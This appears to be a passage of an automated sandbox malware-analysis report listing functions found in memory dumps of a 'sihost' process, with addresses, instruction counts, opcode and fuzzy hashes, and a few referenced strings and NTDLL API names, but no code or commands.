Opcode ID: 2e9dfbef687d842d7e45d3b61b7825462c22f1c800590262513d1a8b68e243d6
Instruction ID: 30284772d50fc49b3187e372d40c2661f3593a109dfb5666874993dcd319dd74
Opcode Fuzzy Hash: 2e9dfbef687d842d7e45d3b61b7825462c22f1c800590262513d1a8b68e243d6
Instruction Fuzzy Hash: BFD1A374E01218CFDB54DFA5C854BADBBB2BF89300F2091AAD809AB359DB355E81CF51

Function 009D5F28 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6977eab2a1d43f6a094e5a2a9fc503ec270f96b931e3ae95e31e2cdc00173873
Instruction ID: 79cbccf264ff02aff784e39dd1d5f28c1e4eb7906f26d2c4ee4997272e991426
Opcode Fuzzy Hash: 6977eab2a1d43f6a094e5a2a9fc503ec270f96b931e3ae95e31e2cdc00173873
Instruction Fuzzy Hash: AA916A79845625CFDB14AFA0D85C7EEBBB1BB06306F10552AD1017B3E8CB784A88CF94

Function 009D5F38 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f26841537226017cf84990e39b3ea735e9cdab8e7ca56c6f30aa04e65d72c99
Instruction ID: 30e1c4362bfd9b6cf2d9bd1a7c172c885bbe5aed412798657958adf7106b5664
Opcode Fuzzy Hash: 4f26841537226017cf84990e39b3ea735e9cdab8e7ca56c6f30aa04e65d72c99
Instruction Fuzzy Hash: EF914A79945625CFDB14AFA0D45C7EEBBB1AB06306F10551AD1017B3D8CB784A84CF94

Function 00369770 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dbdf979aa70f3fe5d05edf1e0b848547504f55b805c7b6d9644b4dce322cced
Instruction ID: 617b70da886dd790630072183aded65b55e8d85f29165980474746d0a62256b6
Opcode Fuzzy Hash: 0dbdf979aa70f3fe5d05edf1e0b848547504f55b805c7b6d9644b4dce322cced
Instruction Fuzzy Hash: A2A12570D00208CFEB14DFA8C984BDDBBB5FF89304F20866AE409AB295DB759985CF51

Function 009D50D8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a4b60b60b6f05c290c4c4c0e6de754698fb845eb055cf8aef72e8e648181a34
Instruction ID: 17efbfd573eb667c2c1949c12f3d20e5de63e4cb6d0704290b0fcba2efef48cb
Opcode Fuzzy Hash: 3a4b60b60b6f05c290c4c4c0e6de754698fb845eb055cf8aef72e8e648181a34
Instruction Fuzzy Hash: 5DA19274E01629CFEB68CF6AD944B9DFBF2AB89300F14C1AAD408A7254DB745A85CF11

Function 009D49F8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fe491535c8886e62dd67a36e9e8c6d9fcb7a355b08eca5a4fa91c3c057d1c08
Instruction ID: 84e6eca3f397ecebfcd62eef33e8ec831c67d558bd92af9218cbe05366b26330
Opcode Fuzzy Hash: 4fe491535c8886e62dd67a36e9e8c6d9fcb7a355b08eca5a4fa91c3c057d1c08
Instruction Fuzzy Hash: D7A1A574E01219CFEB68CF6AD984BDDBBF2AB89300F14C1AAD40CA7254DB745A85CF51

Function 009D4318 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3008a85be4f77a52e825a5f9a822fb7bc4934627c81905d12e20f6218a49dddf
Instruction ID: 5d80e15045888a82c82ea9f5b9c7557369ed77b854f7438cd667658a549c43cd
Opcode Fuzzy Hash: 3008a85be4f77a52e825a5f9a822fb7bc4934627c81905d12e20f6218a49dddf
Instruction Fuzzy Hash: 00A1A174E012298FEB68CF6AD944B9DBBF2AF89300F14C1AAD40DA7254DB345A85CF51

Function 009D3C38 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ad832eb9019d4f64bf2b797f2df87a26d8610b2fbc5ec0cb81c1541d35adc74
Instruction ID: 4281d5c6376c8382638f7855c73f8bc44c08b1f95124220334980eeec7b74888
Opcode Fuzzy Hash: 0ad832eb9019d4f64bf2b797f2df87a26d8610b2fbc5ec0cb81c1541d35adc74
Instruction Fuzzy Hash: E0A1A574E012198FEB68CF6AC984B9DFBF2AF89300F14C1AAD408A7254DB745A85CF11

Function 009D2E78 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87f7b33e8101c5b659807924ef2a99e92978326d6f9f40966b959c520b463416
Instruction ID: 565adeacc0a3abbd7b80d84905962c794949d4733c4868eec8b1e500e773e169
Opcode Fuzzy Hash: 87f7b33e8101c5b659807924ef2a99e92978326d6f9f40966b959c520b463416
Instruction Fuzzy Hash: 60A1A274E052298FEB68CF6AD944B9DBBF2AF89300F14C1AAD408A7254DB745A85CF11

Function 009D57B8 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23c76af7d04d3b57a9652e7265203d60b398dcf41cbd20c81190f15cde19fb9c
Instruction ID: b42526ff2357e8b8ad7bc6d71ace721914bdf26a2d0c804ba0dacd78ee3cf727
Opcode Fuzzy Hash: 23c76af7d04d3b57a9652e7265203d60b398dcf41cbd20c81190f15cde19fb9c
Instruction Fuzzy Hash: 65A1A574E01629CFEB68CF6AC944B9DFBF2AF89300F14C1AAD408A7254DB745A85CF10

Function 009D3558 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce3fed89311707143c96e6afb88fa1cd6aa344b3ab8ccbb72d8c57bc17bb329f
Instruction ID: 9e4dfb4682e6b1383b3147ec3551e9739347129e93a8514970d5e6cdba2d27b6
Opcode Fuzzy Hash: ce3fed89311707143c96e6afb88fa1cd6aa344b3ab8ccbb72d8c57bc17bb329f
Instruction Fuzzy Hash: 4BA1A4B4E012198FEB68CF6AC944B9DFBF2AF89301F14C1AAD40CA7254DB745A85CF51

Function 00369AB2 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e54a9856f5f6c51ab75ebbc23754dabcdbcfe2b4b4d3314bebe319a31f520c8
Instruction ID: cc89f562d89c99009e919b8fbb165b45bd8b8ff1c2c7c986c4bc302b871d33d8
Opcode Fuzzy Hash: 5e54a9856f5f6c51ab75ebbc23754dabcdbcfe2b4b4d3314bebe319a31f520c8
Instruction Fuzzy Hash: DE911470D00218CFEB15DFA8C984BDCBBB5FF89314F20829AE409AB295DB759985CF14

Function 004BA5E8 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29cede2f4332d9d1231a5799aca741b5a331a49aa19beeb0d619f2f21fa2660d
Instruction ID: 8c6ec67348012158bbc096c7cc66c891eacc61dfc410d149885f2e087d181c39
Opcode Fuzzy Hash: 29cede2f4332d9d1231a5799aca741b5a331a49aa19beeb0d619f2f21fa2660d
Instruction Fuzzy Hash: 6E81B574E00218CFDB19DFA9C891BADBBB2BF88304F249529D805AB358DB355D46CF54

Function 009D3548 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb234c502421035971014fb6c35ab3aa743fda164b88c7055db7406a77209ca0
Instruction ID: 5774c0b72b0b699e59f175f9e2991c0e6bb1707427a0157e5bd8cd0be030b533
Opcode Fuzzy Hash: fb234c502421035971014fb6c35ab3aa743fda164b88c7055db7406a77209ca0
Instruction Fuzzy Hash: D0719770D056198FEB68CF66C954B9EBBF2AF89300F14C1EAD40CA7254DB744A85CF51

Function 009D57A8 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b50a2e65a2c11e03c18fb4b082d4b990b755ed245f71cffbe919b09b9c66fc1
Instruction ID: 4b4c49249eb4353742e3326bc0b80015db489ad9c93e9614399fd8317127ed37
Opcode Fuzzy Hash: 0b50a2e65a2c11e03c18fb4b082d4b990b755ed245f71cffbe919b09b9c66fc1
Instruction Fuzzy Hash: 61719570E016198FEB68CF6AC954B9EBAF2AF89300F14C1EAD408A7254DB744A85CF50

Function 004BA5D9 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96b16b8df2c6f7362926917b8e238d0a8e905389a24678ce72c12b8f5f72610d
Instruction ID: ae3a6f90d45c027ed912de23781ac40066cf864cc20d3cf17d526f49380cbb13
Opcode Fuzzy Hash: 96b16b8df2c6f7362926917b8e238d0a8e905389a24678ce72c12b8f5f72610d
Instruction Fuzzy Hash: 79513874E00208CFDB19DFAAC850AEDBBF2BF89300F24952AD404AB359DB385912CF55

Function 00366605 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87f38e9243bca1890e1c16f080312b562834e5cd47665774580b401ba6f41449
Instruction ID: 06c821af7d7250984929dc4f3b9a886849d0a74dfcae734a28448bbd317a4794
Opcode Fuzzy Hash: 87f38e9243bca1890e1c16f080312b562834e5cd47665774580b401ba6f41449
Instruction Fuzzy Hash: DB518A74D00218DFCB06DFA8D496BEDBBB5BB49340F20D51AD006AB299CB759881CF50

Function 003663A8 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36c839e0cad411456edc9f126dbb50cf2b271507103b2891fc1bbad41be60eab
Instruction ID: 64ca4f96076aefeccbeb8a0735496b0e11bc54fde3d23125ecb3d8db8dd7725b
Opcode Fuzzy Hash: 36c839e0cad411456edc9f126dbb50cf2b271507103b2891fc1bbad41be60eab
Instruction Fuzzy Hash: 3F516870D00208DFDB06DFA9D495BEDBBB6BF89300F20D429D401AB299DB719981CB64

Function 00366593 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd41c7899a862f5509aebbcbb057fe37c0176b856dd3d9a2f3936bd05a9387a3
Instruction ID: f51469096417ae3483d8d91280d52ce9a38ec33381770b28981a61cc617ed863
Opcode Fuzzy Hash: dd41c7899a862f5509aebbcbb057fe37c0176b856dd3d9a2f3936bd05a9387a3
Instruction Fuzzy Hash: EE515770D00218DFDB16DFA8D496BEDBBB5BB89340F20D529D002AB288C7759881CF64

Function 009D2E68 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 224a140920fb32834f871559538cd386c3dd45309ed6e73529c37790f4db2b7b
Instruction ID: 887640a1d74bc526daf62b7873dad0007fe0945d64fac34ff3c1c39c26287fc8
Opcode Fuzzy Hash: 224a140920fb32834f871559538cd386c3dd45309ed6e73529c37790f4db2b7b
Instruction Fuzzy Hash: A0417871E056588BEB68CF6BDD5479EFAF3AFC9300F14C1AAC40CA6254EB740A858F51

Function 009D50C9 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d6742fcef723d3efcb1181f3983b0f660895efd94dd0d06cea42e8b9a1a1cfe
Instruction ID: e3ba3ed244feee54532b568adbabcfd768429459d46c6d33af91825a4c05e803
Opcode Fuzzy Hash: 4d6742fcef723d3efcb1181f3983b0f660895efd94dd0d06cea42e8b9a1a1cfe
Instruction Fuzzy Hash: 4D417B71E056588BEB68CF5BDD5479EFAF3AFC9300F14C1AAC40CA6254EB7409858F51

Function 009D49E8 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a6dba9fae9eee48448be86946016d65ccb6883a5ad430bc1cff509bec081e0
Instruction ID: cc5cdcb28f78df82586151471448b36e55673164663435c0f330ee902a0660aa
Opcode Fuzzy Hash: 06a6dba9fae9eee48448be86946016d65ccb6883a5ad430bc1cff509bec081e0
Instruction Fuzzy Hash: 92418AB1E016588FEB58CF6BD95479EFAF3AFC9300F14C1AAC40CA6254EB340A858F51

Function 009D3C29 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c77cfb3bf07693448337fcdfe3c91314ae3571234577ef8bc4923231bcfbe29d
Instruction ID: c7b9f40db5b0fca3849d852dda2afd7e3fa444a020363850840b0235c8fd1b5a
Opcode Fuzzy Hash: c77cfb3bf07693448337fcdfe3c91314ae3571234577ef8bc4923231bcfbe29d
Instruction Fuzzy Hash: 39417A71E016589BEB68CF6BD95479EFAF3AFC9300F14C1AAC40CA6254EB740A858F51

Function 009D4308 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f88cad2cfa3761a3e199d1fdfed9bf391ef4b5ba5cbc7d8e70756c491d4dfc90
Instruction ID: 99133013118f6565201a0ffc554d3ab6fdf13063eed869beab5f49a5a497c690
Opcode Fuzzy Hash: f88cad2cfa3761a3e199d1fdfed9bf391ef4b5ba5cbc7d8e70756c491d4dfc90
Instruction Fuzzy Hash: 0F417971E016588BEB68CF6BDD5479EFAF3AFC9304F14C1AAC40CA6254EB740A858F51

Function 00498739 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc0c48c9189ec2627470ac08a43db9ab465733ef356a1b4278f9f6bb83a9f96a
Instruction ID: b2c100d88df9dfee4cf0eb1e90a14449502c820bd81fb10cd98378b55ef9b284
Opcode Fuzzy Hash: bc0c48c9189ec2627470ac08a43db9ab465733ef356a1b4278f9f6bb83a9f96a
Instruction Fuzzy Hash: C541F474E002188FDB18DFAAD8547EEBBF2BF89300F14D06AD418AB259EB345946CF54

Function 00499F26 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6b150fcdacba5eb2e88806fdd718356c2a18cf2624abcd60fab82c7a81f8190
Instruction ID: 22b81732ba919af6bcf9674ee9fa8520b2a53a56c767c0ef0e6b36446859d5e4
Opcode Fuzzy Hash: f6b150fcdacba5eb2e88806fdd718356c2a18cf2624abcd60fab82c7a81f8190
Instruction Fuzzy Hash: 5841E274E002188FDB58DFAAD8547AEBBF2BF89300F14D06AD419AB258EB345946CF54

Function 004A9950 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624750814.00000000004A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4a0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44caffca52055926f8806c7f7c1a8d66677d2966df7c8f4cabb6a86bab64fbf0
Instruction ID: b4232af7ca65f83a1c720b8614342e2f6c8aad19d5ef48ad57beacb60dd31637
Opcode Fuzzy Hash: 44caffca52055926f8806c7f7c1a8d66677d2966df7c8f4cabb6a86bab64fbf0
Instruction Fuzzy Hash: 3231D474E012488BDB18DFAAD5546EEBBF2AF89300F24D42AD418BB255EB345942CF54

Function 00369A08 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97a881cb74201ae5d348a8fefe78bce5dede04035f9f2856041071b82025edf1
Instruction ID: 2522990a33184d6b06bdd35fb01ee2ee202f77cc09e419cd1b67d762fe41c300
Opcode Fuzzy Hash: 97a881cb74201ae5d348a8fefe78bce5dede04035f9f2856041071b82025edf1
Instruction Fuzzy Hash: 0611D071904745CFD702EFA8C4483EDBFB4EF4A314F2496AED049AB292D7319881C756

Function 009D7280 Relevance: 5.8, Strings: 4, Instructions: 784
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tep, xrefs: 009D7823
Gs, xrefs: 009D7351
Gs, xrefs: 009D76CA
Tep, xrefs: 009D784A

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID: Tep$Tep$Gs$Gs
API String ID: 0-307556097
Opcode ID: d9ab9bd65c57ec44cfd30d5b10be90065544744fd257a06d8471bc3fa019c676
Instruction ID: 8f9087a7dd14af668060cacd4f4c78de86e1d7db599df9a27129a042cedaa8f9
Opcode Fuzzy Hash: d9ab9bd65c57ec44cfd30d5b10be90065544744fd257a06d8471bc3fa019c676
Instruction Fuzzy Hash: DF82C874A01228CFDB65DF64C894BADB7B2FB89304F2055EAD809A7359DB359E81CF40

Function 009D727E Relevance: 5.8, Strings: 4, Instructions: 781
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tep, xrefs: 009D7823
Gs, xrefs: 009D7351
Gs, xrefs: 009D76CA
Tep, xrefs: 009D784A

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID: Tep$Tep$Gs$Gs
API String ID: 0-307556097
Opcode ID: 22884ffd57526f398677de3791dc6affb95fa9d9c67a0432aacd39a0de51bd9e
Instruction ID: 46d40c080c4e0fc9217b724cb85e6598b5f115e9d9bebbe610c9ed788d2a8cc6
Opcode Fuzzy Hash: 22884ffd57526f398677de3791dc6affb95fa9d9c67a0432aacd39a0de51bd9e
Instruction Fuzzy Hash: F282C874A01228CFDB65DF64C894BADB7B2FB89304F2055EAD809A7359DB359E81CF40

Function 00672AD8 Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(000000FF), ref: 00672C3A

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 78ffb7f139a7cf0e37eb2f969f241e3678077ea6c17a39b80a236f7abfd26042
Instruction ID: 4a4803c6287e82f0e0106c31385de5b437fab3840519cb529a5325cf2c4c7005
Opcode Fuzzy Hash: 78ffb7f139a7cf0e37eb2f969f241e3678077ea6c17a39b80a236f7abfd26042
Instruction Fuzzy Hash: C35115B4D01219CFDB18CFAAD8946DDBBB2BF88314F20C52AE418AB294D7745945CF50

Function 00672C73 Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d439519753e5b5f935f76a86d4a2a44f1fcf57105886d8b2a81a03ee80dce29
Instruction ID: 10cf9133cc8b93ab180171a667e75918c85edb1c503c81cc4033265d76ec793e
Opcode Fuzzy Hash: 6d439519753e5b5f935f76a86d4a2a44f1fcf57105886d8b2a81a03ee80dce29
Instruction Fuzzy Hash: 8C511FB4D0420ACFCB24CFA8D4946EDBBB2BF48314F20952AE419BB294D3349986CF10

Function 0036E573 Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 0036E6B5

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: baae0fa64cfa733c228702d2093bf8b657a0dbf1bb12573532a4fa816be71961
Instruction ID: 2d414b660e1f7e2f71eb576d7685fb06e3bdab8411e49b5d908a9e8805214a0e
Opcode Fuzzy Hash: baae0fa64cfa733c228702d2093bf8b657a0dbf1bb12573532a4fa816be71961
Instruction Fuzzy Hash: B2112E78E001199FDB09DFA8D4C4AADBBB9FB98305F64C565E804E7249E730A945CF60

Function 009D84EA Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

Tep, xrefs: 009D8562

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID: Tep
API String ID: 0-914316021
Opcode ID: 9aa25a2f84ea43175d65dddbfe90f17b4c6dfef375de8f577ae820b2e686eb2f
Instruction ID: 7c377627e333f01b392f5b8b6cb905f39cb2756a5750f81edd89e64300fad811
Opcode Fuzzy Hash: 9aa25a2f84ea43175d65dddbfe90f17b4c6dfef375de8f577ae820b2e686eb2f
Instruction Fuzzy Hash: F461A274E00218CFDB58DFA9D850A9DBBB2BF88304F24C16AD819AB359DB319D46CF50

Function 004A9960 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624750814.00000000004A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4a0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 342002cb486a30df1e0feb51799df867b855b73b7a748df38e75fceefabe06af
Instruction ID: 85344f04d09912ab66e0cd4729f651216dfca8a1cde71fbd679013287642a527
Opcode Fuzzy Hash: 342002cb486a30df1e0feb51799df867b855b73b7a748df38e75fceefabe06af
Instruction Fuzzy Hash: BF71E374E00208CFDB18DFA9D891AADBBB2BF89300F24852AD405AB359DB395D42CF54

Function 004B4330 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca8106fdbde7b26f20cfc0811b3d377879f8ec55756890b886b1d113850954a3
Instruction ID: 161ca408dcf5005f7edde327a57302eb13b5c0bfa3b4208cbffff9198c2fc936
Opcode Fuzzy Hash: ca8106fdbde7b26f20cfc0811b3d377879f8ec55756890b886b1d113850954a3
Instruction Fuzzy Hash: 8C71B374E00218DFDB18DFA9C891AEDBBB2BF88300F24952AD415AB359DB355D42CF54

Function 004B4FD8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94496f5b7b5ae19bc5ef7a01644902a99c979ddc0469e298e8cd8c05945b6d62
Instruction ID: 2ae3ccfdf3b85c846c34bfa0a6aa671e1133f59f654108e55c6b4679981fe25b
Opcode Fuzzy Hash: 94496f5b7b5ae19bc5ef7a01644902a99c979ddc0469e298e8cd8c05945b6d62
Instruction Fuzzy Hash: C871E374E01208CFDB18DFA9C891AEDBBB2BF88300F24912AD815AB359DB355D42CF54

Function 009D1BC6 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

